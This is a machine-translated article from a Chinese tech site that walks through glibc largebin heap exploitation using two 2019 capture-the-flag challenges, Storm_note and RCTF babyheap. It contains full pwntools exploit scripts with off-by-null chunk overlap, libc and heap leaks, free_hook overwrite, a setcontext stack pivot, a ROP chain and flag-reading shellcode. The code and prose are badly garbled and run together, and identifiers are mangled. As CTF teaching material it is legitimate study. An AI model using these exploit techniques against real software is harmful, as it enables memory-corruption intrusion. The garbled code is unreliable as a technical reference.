Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to analyze Largebin Attack

2025-03-28 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/02 Report--

What this article shares with you is about how to analyze Largebin Attack. The editor thinks it is very practical, so I share it with you to learn. I hope you can get something after reading this article.

Preface

From the West Lake on Jian Storm_note first contact with largebin,RCTF babyheap, found that these two questions are essentially the same, so I will conduct in-depth research on largebin attack through these two topics, from source code analysis to dynamic debugging, the whole process of largebin attack has been gone through, sorting out the use of largebin attack, I hope it will be helpful to you.

Partial source code analysis of malloc function largebin

First of all, the code logic of putting chunk from unsortedbin into largebin is statically analyzed from the point of view of source code.

For (;;) {int iters = 0; while ((victim = unsorted_chunks (av)-> bk)! = unsorted_chunks (av)) / / starting from the bk of the first unsortedbin, FIFO principle {bck = victim- > bk; if (_ builtin_expect (chunksize_nomask (victim) av- > system_mem, 0) malloc_printerr ("malloc (): memory corruption") Size = chunksize (victim); / * If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. * / if (in_smallbin_range (nb) & & bck = = unsorted_chunks (av) & & victim = = av- > last_remainder & & (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) / / the last unsorted_bin And the size of the last chunk in the bin is greater than the size we applied for {/ * split and reattach remainder * / remainder_size = size-nb Remainder = chunk_at_offset (victim, nb); / / split the selected chunk and restore unsortedbin unsorted_chunks (av)-> bk = unsorted_chunks (av)-> fd = remainder; av- > last_remainder = remainder; remainder- > bk = remainder- > fd = unsorted_chunks (av) If (! in_smallbin_range (remainder_size)) {remainder- > fd_nextsize = NULL; remainder- > bk_nextsize = NULL;} set_head (victim, nb | PREV_INUSE | (av! = & main_arena? NON_MAIN_ARENA: 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void * p = chunk2mem (victim); alloc_perturb (p, bytes); return p } / * remove from unsorted list * / if (_ _ glibc_unlikely (bck- > fd! = victim)) malloc_printerr ("malloc (): corrupted unsorted chunks 3"); unsorted_chunks (av)-> bk = bck;// take it out of unsortedbin bck- > fd = unsorted_chunks (av) / / bck to ensure the validity of the address / * Take now instead of binning if exact fit * / if (size = = nb) {set_inuse_bit_at_offset (victim, size); if (av! = & main_arena) set_non_main_arena (victim); # if USE_TCACHE / * Fill cache first, return to user only if cache fills. We may return one of these chunks later. * / if (tcache_nb & & tcache- > counts [TC _ idx]

< mp_.tcache_count) { tcache_put (victim, tc_idx); return_cached = 1; continue; } else {#endif check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p;#if USE_TCACHE }#endif } /* place chunk in bin */ /*把unsortedbin的chunk放入相应的bin中*/ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->

Fd;} else//large bin {victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck- > fd / * maintain large bins in sorted order * / if (fwd! = bck) {/ * Or with inuse bit to speed comparisons * / size | = PREV_INUSE; / * if smaller than smallest, bypass loop below * / assert (chunk_main_arena (bck- > bk)) / * if sizebk) {fwd = bck; bck = bck- > bk; victim- > fd_nextsize = fwd- > fd; victim- > bk_nextsize = fwd- > fd- > bk_nextsize Fwd- > fd- > bk_nextsize = victim- > bk_nextsize- > fd_nextsize = victim;} else {assert (chunk_main_arena (fwd)); / / otherwise forward traversal, fwd is originally the first chunk of large bin, that is, the largest chunk. / / until size > = large bin chunk size while ((unsigned long) size) is satisfied

< chunksize_nomask (fwd)) { fwd = fwd->

Fd_nextsize;//fd_nextsize points to the next chunk assert (chunk_main_arena (fwd)) that is smaller than the current chunk;} if ((unsigned long) size = = (unsigned long) chunksize_nomask (fwd)) / * Always insert in the second position. * / fwd = fwd- > fd; else// insert {/ / unlink operation. Only largebin in nextsize has victim- > fd_nextsize = fwd; victim- > bk_nextsize = fwd- > bk_nextsize. Fwd- > bk_nextsize = victim; victim- > bk_nextsize- > fd_nextsize=victim; / / fwd- > bk_nextsize- > fd_nextsize=victim} bck = fwd- > bk }} else victim- > fd_nextsize = victim- > bk_nextsize = victim;} mark_bin (av, victim_index); / / unlink operation 2meme victim- > bk = bck; victim- > fd = fwd; fwd- > bk = victim; bck- > fd = victim / / fwd- > bk- > fd=victim

The specific process of taking chunk (victim) out of unsortedbin and putting it into largebin can be analyzed from the source code. When malloc, follow the principle of FIFO and traverse forward from the end of the chain of unsortedbin. For each selected chunk (victim in the code), you will roughly do the following:

1. If the size of the application is within the range of smallbin & & victim is the size of the only chunk&&victim left in the unsortedbin to meet the demand, then use this chunk to assign to the user to return; otherwise, the victim will be separated from the unsortedbin. 2. Unless the size is exactly the required size, put it into the corresponding smallbin or largebin3. If it is above 0x400 (that is, largebin), find a linked list in the order from big to small. The sizebk_nextsize- > fd_nextsize=victim of the linked list is equivalent to fwd- > bk_nextsize- > fd_nextsize=victim, that is, the address of victim is written to the pointer of fwd- > bk_nextsize. 5. Unlink operation 2 (focus on the last step): bck- > fd=victim is equivalent to fwd- > bk- > fd=victim, that is, the address of victim is written to the pointer of fwd- > bk.

The key of largebin attack is the last two unlink operations. If you can control the bk_nextsize pointer and bk pointer of fwd, you can write the address of victim to any address.

2019 types of Storm_note vulnerabilities on the sword in the West Lake

Off_by_null

Background knowledge

Largebin attackunlinkchunk overlapping

Protection mechanism [*]'/ home/leo/pwn/xihu/Storm_note' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled program logic

1 、 init_proc

Ssize_t init_proc () {ssize_t result; / / rax int fd; / / [rsp+Ch] [rbp-4h] setbuf (stdin, 0LL); setbuf (stdout, 0LL); setbuf (stderr, 0LL); if (! mallopt (1,0)) / / disable fastbin exit (- 1) If (mmap ((void *) 0xABCD0000LL, 0x1000uLL, 3,34,-1, 0LL)! = (void *) 0xABCD0000LL) exit (- 1); fd = open ("/ dev/urandom", 0); if (fd)

< 0 ) exit(-1); result = read(fd, (void *)0xABCD0100LL, 0x30uLL); if ( result != 48 ) exit(-1); return result;} 程序一开始就对进程进行初始化,mallopt(1, 0)禁用了fastbin,然后通过mmap在0xABCD0000分配了一个页面的可读可写空间,最后往里面写入一个随机数。 2、add for ( i = 0; i 0 && v1 = 0 && v1 = 0 && v1 bk) != unsorted_chunks (av))//从第一个unsortedbin的bk开始遍历{ bck = victim->

Bk; size = chunksize (victim); if (in_smallbin_range (nb) & & / bck = = unsorted_chunks (av) & & victim = = av- > last_remainder & & (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) / / the last unsorted_bin, and the size of the last chunk in the bin is larger than the size we applied for {remainder_size = size-nb Remainder = chunk_at_offset (victim, nb);.} / / split the selected chunk and restore unsortedbin if (_ _ glibc_unlikely (bck- > fd! = victim)) malloc_printerr ("malloc (): corrupted unsorted chunks 3"); unsorted_chunks (av)-> bk = bck / / largebin attack / / pay attention to this place. Set the bk of unsortedbin to victim- > bk. If I set this bk and can bypass the above check, the next allocation will be able to assign target chunk to if (size = = nb) / / size is the same as normal allocation of if (in_smallbin_range (size)) / / into smallbin {victim_index = smallbin_index (size) Bck = bin_at (av, victim_index); fwd = bck- > fd;} else// into large bin {while ((unsigned long) size)

< chunksize_nomask (fwd)) { fwd = fwd->

Fd_nextsize;//fd_nextsize points to the next chunk assert (chunk_main_arena (fwd)) that is smaller than the current chunk;} if ((unsigned long) size = = (unsigned long) chunksize_nomask (fwd)) / * Always insert in the second position. * / fwd = fwd- > fd; else// insert {/ / unlink operation. Only largebin in nextsize has victim- > fd_nextsize = fwd; victim- > bk_nextsize = fwd- > bk_nextsize; fwd- > bk_nextsize = victim; victim- > bk_nextsize- > fd_nextsize = victim. / / fwd- > bk_nextsize- > fd_nextsize=victim} bck = fwd- > bk;}} else victim- > fd_nextsize=victim-> bk_nextsize = victim;} mark_bin (av, victim_index); / / unlink operation 2Mae FD victim- > bk = bck; victim- > fd = fwd; fwd- > bk = victim; bck- > fd = victim / / fwd- > bk- > fd=victimdele (2) # unsortedbin- > chunk2-> chunk5 (0x5c0) which size is largebin FIFOadd (0x4e8) # put chunk8 (0x5c0) to largebindele (2) # put chunk2 to unsortedbin

To briefly summarize this process, there are two large chunk stored in unsortedbin, the first 0x4e0 and the second 0x4f0. When I applied for a chunk for 0x4e8, I first found the chunk of 0x4e0, which was too small to match the tuner, so I took it out of unsortedbin and put it into largebin. A two-step unchain operation occurs when you put in the largebin, and the last step of the two unchain operation is the key.

You can see that the traversal starts with unsortedbin- > bk, the first size

< nb因此就会放入largebin,继续往前遍历,找到0x4f0的chunk,刚好满足size==nb,因此将其分配出来。最后在delete(2)将刚刚分配的chunk2再放回unsortedbin,进行第二次利用。 第三步:largebin attack 再回顾一下之前源码中更新unsortedbin的地方 bck = victim->

Bk;if (_ glibc_unlikely (bck- > fd! = victim) malloc_printerr ("malloc (): corrupted unsorted chunks 3"); unsorted_chunks (av)-> bk = bck; / / largebin attackcontent_addr = 0xabcd0100fake_chunk = content_addr-0x20payload = p64 (0) * 2 + p64 (0) + p64 (0x4f1) # sizepayload + = p64 (0) + p64 (fake_chunk) # bkedit

Payload2 = p64 (0) * 4 + p64 (0x4e1) # sizepayload2 + = p64 (0) + p64 (fake_chunk+8) payload2 + = p64 (0) + p64 (fake_chunk-0x18-5) # mmapedit

Modify bk and bk_nextsize of largebin

Analyze why it was rewritten to these values. Let's review the two unlink operations first.

Victim- > fd_nextsize= fwd; victim- > bk_nextsize = fwd- > bk_nextsize; fwd- > bk_nextsize = victim; victim- > bk_nextsize- > fd_nextsize=victim; / / fwd- > bk_nextsize- > fd_nextsize=victim} bck = fwd- > bk;} else victim- > fd_nextsize=victim-> bk_nextsize = victim;} mark_bin (av, victim_index) / / unlink operation 2 FD victim- bk victim- > bk = bck; victim- > fd= fwd; fwd- > bk = victim; bck- > fd=victim; / / fwd- > bk- > fd=victim

According to the previous chunk overlappnig, the bk and bk_nextsize,fwd that can control the largebin is the chunk,victim that has been put into the largebin is the chunk that needs to be put into the largebin in the unsortedbin. Victim- > bk_nextsize- > fd_nextsize=victim; / / fwd- > bk_nextsize- > fd_nextsize=victim put the target addr in fwd- > bk_nextsize, implement * (addr+0x20) = victimbck- > fd = victim; put the target addr in fwd- > bk, and implement * (addr+0x10) = victim because fake_chunk is stored in unsortedbin, but there is no qualified size there, so you need to write an address there as size through this unlink operation.

(fake_chunk-0x18-5 + 0x20) = (fake_chunk+3) = victim

Finally, 0x56 can be written on fake_chunk, and the program is protected by PIE, so there is a certain probability that the base address of the program begins with 0x56.

Bck- > fd = unsorted_chunks (av)

At the same time, make sure that the address of bck is valid.

(fake_chunk+8+0x10) = (fake_chunk+0x18) = victim

Add (0x40)

Traversing from unsortedbin's bk, it is found that bk is 0xabcd00e0recoverable unsortedallocated chunks (av), so a piece of memory allocation is not stripped from the chunk. Then execute the statement

Unsorted_chunks (av)-> bk = bck; bck- > fd = unsorted_chunks (av)

Put 0xabcd00e0-> bk back into unsortedbin. Then, due to size==nb, the allocation is returned, and the destination address is returned successfully.

Payload = p64 (0) * 2+p64 (0) * 6edit (2J payload) p.sendlineafter ('Choice:', '666') p.send (p64 (0) * 6)

Finally, the random number of 0XABCD0100 is changed to 0, and the back door is triggered.

EXPfrom pwn import * p = process ('. / Storm_note') def add (size): p.recvuntil ('Choice') p.sendline (' 1') p.recvuntil ('? P.sendline (str (size)) def edit (idx,mes): p.recvuntil ('Choice') p.sendline (' 2') p.recvuntil ('?) P.sendline (str (idx)) p.recvuntil ('Content') p.send (mes) def dele (idx): p.recvuntil (' Choice') p.sendline ('3') p.recvuntil ('?) P.sendline (str (idx)) add (0x18) # 0add (0x508) # 1add (0x18) # 2add (0x18) # 3add (0x508) # 4add (0x18) # 5add (0x18) # 6edit 'a'*0x18) # off by nulladd (0x18) # 1add (0x4d8) # 7 0x050dele (1) dele (2) # overlap#recoveradd (0x30) # 1add (0x4e0) # 2dele (4) edit (3 'a'*0x18) # off by nulladd (0x18) # 4add (0x4d8) # 8 0x5a0dele (4) dele (5) # overlapadd (0x40) # 4 0x580dele (2) # unsortedbin- > chunk2-> chunk5 (chunk8) (0x5c0) which size is largebin FIFOadd (0x4e8) # put chunk8 (0x5c0) to largebindele (2) # put chunk2 to unsortedbincontent_addr = 0xabcd0100fake_chunk = content_addr-0x20payload = p64 (0) * 2 + p64 (0) + p64 (0x4f1) # sizepayload + = p64 0) + p64 (fake_chunk) # bkedit (7 Payload) payload2 = p64 (0) * 4 + p64 (0x4e1) # sizepayload2 + = p64 (0) + p64 (fake_chunk+8) payload2 + = p64 (0) + p64 (fake_chunk-0x18-5) # mmapedit (8m payload2) add (0x40) # gdb.attach (p64 (0) * 2+p64 (0) * 6edit (2pari payload) p.sendlineafter ('Choice:', '666') p.send (p64 (0) * 6) p.interactive () 2019 RCTF babyheap vulnerability type

Off by one

Background knowledge

Largebin attackunlinkchunk overlappingROPshellcode writing

Protection mechanism [*]'/ home/leo/Desktop/RCTF/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

Full protection is on.

Program logic

1 、 init

First, a 2-byte random number is selected as the address assigned to ptrs by the mmap function, then fastbin is disabled, and finally some system call functions are restricted. Using the seccomp-tools tool, you can quickly see which functions the program restricts.

It is found that fork, execve, and other functions are disabled, so the system function cannot be called directly to getshell. Consider using open, read, and write to read the output file memory to get flag.

2 、 add

It is analyzed that the saved data of ptrs is in 16 bytes, the first 8 bytes save the heap block pointer allocated by calloc function, and the last 8 bytes save the corresponding size.

3 、 edit

An off by null vulnerability exists in the edit function.

4 、 delete

Secure free, clear the pointer, no problem.

5 、 show

Provides an output function that can be used to disclose information.

Utilization of ideas

1. Take advantage of the off by null loophole to rewrite size, and form chunk overlapping through unlink to control the bk and bk_nextsize of the fwd stack. By the way, use the show function to reveal the libc and heap addresses in the process. 2. Because of the operation involving the chunk of fwd and victim large size, it is necessary to put one chunk into largebin and the other into unsortedbin, and then use largebin attack to write 0x56 as the size of fake_chunk to some memory dislocation before free_hook. It is then assigned to fake_chunk to rewrite the free_hook pointer. 3. Because the protection opened by the program limits the use of the system function, you can't getshell directly. If you want to use open, read, write to read flag files, you need to use ROP technology. 4. Because you only know the libc and heap addresses, but not the stack address and program base address, you need to migrate the rsp to the heap first. 5. Finally, you can get flag through ROP.

Concrete realization

Step 1: chunk overlapping

Add (0x18) # 0add (0x508) # 1add (0x18) # 2add (0x18) # 3add (0x508) # 4add (0x18) # 5add (0x18) # 6edit (1 minicafia / 0x4f0 / p64 (0x500)) # prev_sizeedit (4 Magna / edit / 0x4f0 / p64 (0x500)) # prev_size#gdb.attach (p) # first big chunkdele (1) edit (0parentahorse / 0x18) # off by nulladd (0x18) # 1add (0x4d8) # 7 0x050dele (1) dele (2) # overlap# 's second big chunkdele (4) edit (3) 'a'*0x18) # off by nulladd (0x18) # 4add (0x4d8) # 8 0x5a0dele (4) dele (5) # overlapadd (0x40) # 4 0x580

This step is the same as the previous part of Storm_note, and there is no explanation here.

Step 2: disclose libc and heap

When the first big chunk overlapping is formed, the libc base address and heap address can be disclosed by the way because the chunk is in the unsortedbin. These are routine operations.

At this time, the heap block that can be controlled starts from 0x...50, and the heap block in unsortedbin is 0x...20, so it is necessary to allocate 0x20-sized blocks so that the address of unsortedbin is written to 0x...50.

# recover leak libcadd (0x18) # 1show (7) p.recv (1) leak = p.recv (6) libc_base=uu64 (leak)-0x3c4b78success ('libc_base= {}' .format (hex (libc_base)

In the same way, to divulge the heap address, you need to save the next heap pointer on the fd, you need to put two chunk into the unsortedbin, and the second chunk is controllable.

# leak heapadd (0x4e0) # 2add (0x18) # 8dele (3) dele (2) show (7) p.recv (1) data = p.recv (6) heap= uu64 (data)-0x550success ('heap= {}' .format (hex (heap) add (0x4e0) add (0x18)

Step 3: largebin attack

Dele (2) add (0x4e8) dele (2)

Similarly, because the size of the first chunk is 0x4e0, the condition (unsigned long) (size) > (unsigned long) (nb + MINSIZE) is not satisfied, so it is stripped out and put into the largebin. Then continue to search and find that the 0x4f0 meets the requirements and returns it to the user. Finally, put the chunk2 back into the unsortedbin. Form a victim in unsortedbin and a fwd in largebin.

Free_hook = libc.symbols ['_ free_hook'] + libc_basefake_chunk = free_hook-0x10payload = p64 (0) + p64 (fake_chunk) # bkedit (7payload) payload2 = p64 (0) * 4 + p64 (0) + p64 (0x4e1) # sizepayload2 + = p64 (0) + p64 (fake_chunk+8) payload2 + = p64 (0) + p64 (fake_chunk-0x18-5) # mmapedit (9playload2) add (0x40)

Did three things:

1. Rewrite the bk of victim in unsortedbin to fake_chunk so that the next traversal hits this piece of memory. 2. Rewrite the bk of fwd in largebin to victim, so that bck- > fd=unsorted_chunks (av) is executed successfully. 3. Rewrite the bk_nextsize of fwd in largebin to the size field of fake_chunk, and write the heap address in dislocation.

Step 4: migrate the stack to the heap, using ROP

To use ROP, you need to lay out data on the stack, but heap questions usually just put the data on the heap, so it is difficult to make use of ROP. The solution is to migrate the stack to the heap using the method of mov rsp [xxx]. What is used here is that there is an instruction in the setcontext function that can control the rsp register.

Therefore, before triggering free_hook, fill in the address of setcontext+53 in free_hook and pay attention to arranging the data of the heap block corresponding to the first parameter rdi, you can rewrite the value of registers such as rsp.

Setcontext= 0x47b75+libc_basesuccess ('setcontext= {}' .format (hex (setcontext) edit (2recoverp64 (setcontext))

The next step is to arrange the ROP data on a heap. The process is to call mprotect to make heap executable, then call mmap to allocate a piece of read-writable executable memory, then copy shellcode to this memory, and finally jump to shellcode to start execution.

A = 'mov esp,0x400100push 0x67616c66mov rdi,rsp'''shellcode = asm (aarchical archetypal amd64recording pedagogical ostentatious Linux') shellcode + = asm (shellcraft.amd64.syscall ("SYS_open", "rdi", 'Olympus RDONLYY, 0) +' mov rbx,rax',arch='amd64',os='linux') shellcode + = asm (shellcraft.amd64.syscall ("SYS_read", "rbx", 0x400200x20), arch='amd64',os='linux') shellcode + = asm ("SYS_write", 1meme 0x400200x20) Arch='amd64',os='linux') p_rdi=0x0000000000021102+libc_basep_rdx_rsi=0x00000000001150c9+libc_basep_rcx_rbx=0x00000000000ea69a+libc_basep_rsi = 0x00000000000202e8+libc_basemprotect=libc.symbols ['mprotect'] + libc_basesetcontext = 0x47b75+libc_basesuccess (' setcontext= {} '.format (hex (setcontext) mmap = libc.symbols [' mmap'] + libc_baseedit (2Powerp64 (setcontext)) rop = p64 (0) * 5+p64 (0xffffffff) + p64 (0) # R8 R9 roppets = p64 (0) * 13ropwings = p64 (heap+0x100) # mov rsp, [rdi+0xa0] rop+= p64 (p_rdi) # push rcx Retrop+= p64 (heap) + p64 (p_rdx_rsi) + p64 (0x1000) + p64 (mprotect) rop+= p64 (p_rdi) + p64 (0x400000) + p64 (p_rdx_rsi) + p64 (7) + p64 (0x1000) + p64 (p_rcx_rbx) + p64 (0x22) + p64 (0) + p64 (mmap) rop+= p64 (p_rcx_rbx) + p64 (len (shellcode)) + p64 (p_rdi) + p64 (0x400000) + p64 (p_rsi) + p64 (heap+0x1be) + p64 (heap+0x1b0) rop+= asm Arch='amd64',os='linux') +'\ x00 p.interactive roppets = shellcodeedit (7) dele (7) rop ()

In fact, a simpler way to solve this problem is to directly use ROP to open, read, write, or execute shellcode directly on the heap. What I did was to combine the two methods.

EXPfrom pwn import * p = process ('. / babyheap') libc = ELF ('/ home/leo/Desktop/libc-2.23.so') # context.log_level='debug'uu64 = lambda data: U64 (data.ljust (8,'0') def add (size): p.recvuntil ('Choice') p.sendline (' 1') p.recvuntil ('Size:') p.sendline (str (size)) def edit (idx) Mes): p.recvuntil ('Choice') p.sendline (' 2') p.recvuntil ('Index:') p.sendline (str (idx)) p.recvuntil (' Content:') p.send (mes) def dele (idx): p.recvuntil ('Choice') p.sendline (' 3') p.recvuntil ('Index:') p.sendline (str (idx) def show (idx): p.recvuntil (' Choice') p. Sendline ('4') p.recvuntil ('Index:') p.sendline (str (idx)) add (0x18) # 0add (0x508) # 1add (0x18) # 2add (0x18) # 3add (0x508) # 4add (0x18) # 5add (0x18) # 6edit (1 'a'*0x4f0+p64 (0x500)) # prev_sizeedit (4 prev_size#gdb.attach (p) dele (1) edit (0) 'a'*0x18) # off by nulladd (0x18) # 1add (0x4d8) # 7 0x050dele (1) dele (2) # overlap#recover leak libcadd (0x18) # 1show (7) p.recv (1) leak = p.recv (6) libc_base=uu64 (leak)-0x3c4b78success (' libc_base= {} '.format (hex (libc_base)) # leak heapadd (0x4e0) # 2add (0x18) # 8dele (3) dele (2) show (7) p.recv (1) data = p.recv (6) ) heap= uu64 (data)-0x550success ('heap= {}' .format (hex (heap)) add (0x4e0) add (0x18) # # dele (4) edit (3 'a'*0x18) # off by nulladd (0x18) # 4add (0x4d8) # 8 0x5a0dele (4) dele (5) # overlapadd (0x40) # 4 0x580#9 controldele (2) add (0x4e8) dele (2) # gdb.attach (p) free_hook = libc.symbols [' _ free_hook'] + libc_basefake_chunk = free_hook-0x10payload = p64 (0) + p64 (fake_chunk) # bkedit (7 Payload) payload2 = p64 (0) * 4 + p64 (0x4e1) # sizepayload2 + = p64 (0) + p64 (fake_chunk+8) payload2 + = p64 (0) + p64 (fake_chunk-0x18-5) # mmapedit (9-force payload2) # gdb.attach (p) add (0x40) # 2#ropa =''mov esp,0x400100push 0x67616c66mov rdi,rsp'''shellcode = asm (a department archetype amd64) shellcode + = asm (shellcraft.amd64.syscall ("SYS_open", "rdi") Shellcode + = asm (shellcraft.amd64.syscall ("SYS_read", "rbx", 0x400200 0x20), arch='amd64',os='linux') shellcode + = asm ("SYS_write", 1memo 0x400200 0x20), arch='amd64' Os='linux') p_rdi=0x0000000000021102+libc_basep_rdx_rsi=0x00000000001150c9+libc_basep_rcx_rbx=0x00000000000ea69a+libc_basep_rsi = 0x00000000000202e8+libc_basemprotect=libc.symbols ['mprotect'] + libc_basesetcontext = 0x47b75+libc_basesuccess (' setcontext= {} '.format (hex (setcontext) mmap = libc.symbols [' mmap'] + libc_baseedit (2Powerp64 (setcontext)) rop = p64 (0) * 5+p64 (0xffffffff) + p64 (0) # R8 R9 roppets = p64 (0) * 13ropwings = p64 (heap+0x100) # mov rsp, [rdi+0xa0] rop+= p64 (p_rdi) # push rcx Retrop+= p64 (heap) + p64 (p_rdx_rsi) + p64 (0x1000) + p64 (mprotect) rop+= p64 (p_rdi) + p64 (0x400000) + p64 (p_rdx_rsi) + p64 (7) + p64 (0x1000) + p64 (p_rcx_rbx) + p64 (0x22) + p64 (0) + p64 (mmap) rop+= p64 (p_rcx_rbx) + p64 (len (shellcode)) + p64 (p_rdi) + p64 (0x400000) + p64 (p_rsi) + p64 (heap+0x1be) + p64 (heap+0x1b0) rop+= asm Arch='amd64',os='linux') +'\ x00 p.interactive roppets = shellcodeedit (7) dele (7) rop ()

Through the above analysis of the two topics, I summed up the conditions or characteristics of the use of largebin attack as well as the utilization process.

To take advantage of a condition or characteristic:

1. You need to control the heaps that have already been free. Vulnerabilities such as off by null or UAF are usually required.

2. Fastbin is not available. There is usually a mallopt (1. 0) to disable fastbin.

3. Known destination address. Libc can usually be leaked to control free_hook

Utilization process:

1. Construct two large heap blocks, unsortedbin and largebin, and control bk and bk_nextsize pointers.

2. Change the bk of chunk in unsortedbin to the destination address

3. Change the bk of chunk in largebin to the destination address + 8 to make it writable

4. Change the bk_nextsize of chunk in largebin to the destination address-0x18-5 write to size in order to construct fake_chunk

The above is how to analyze Largebin Attack, the editor believes that there are some knowledge points that we may see or use in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report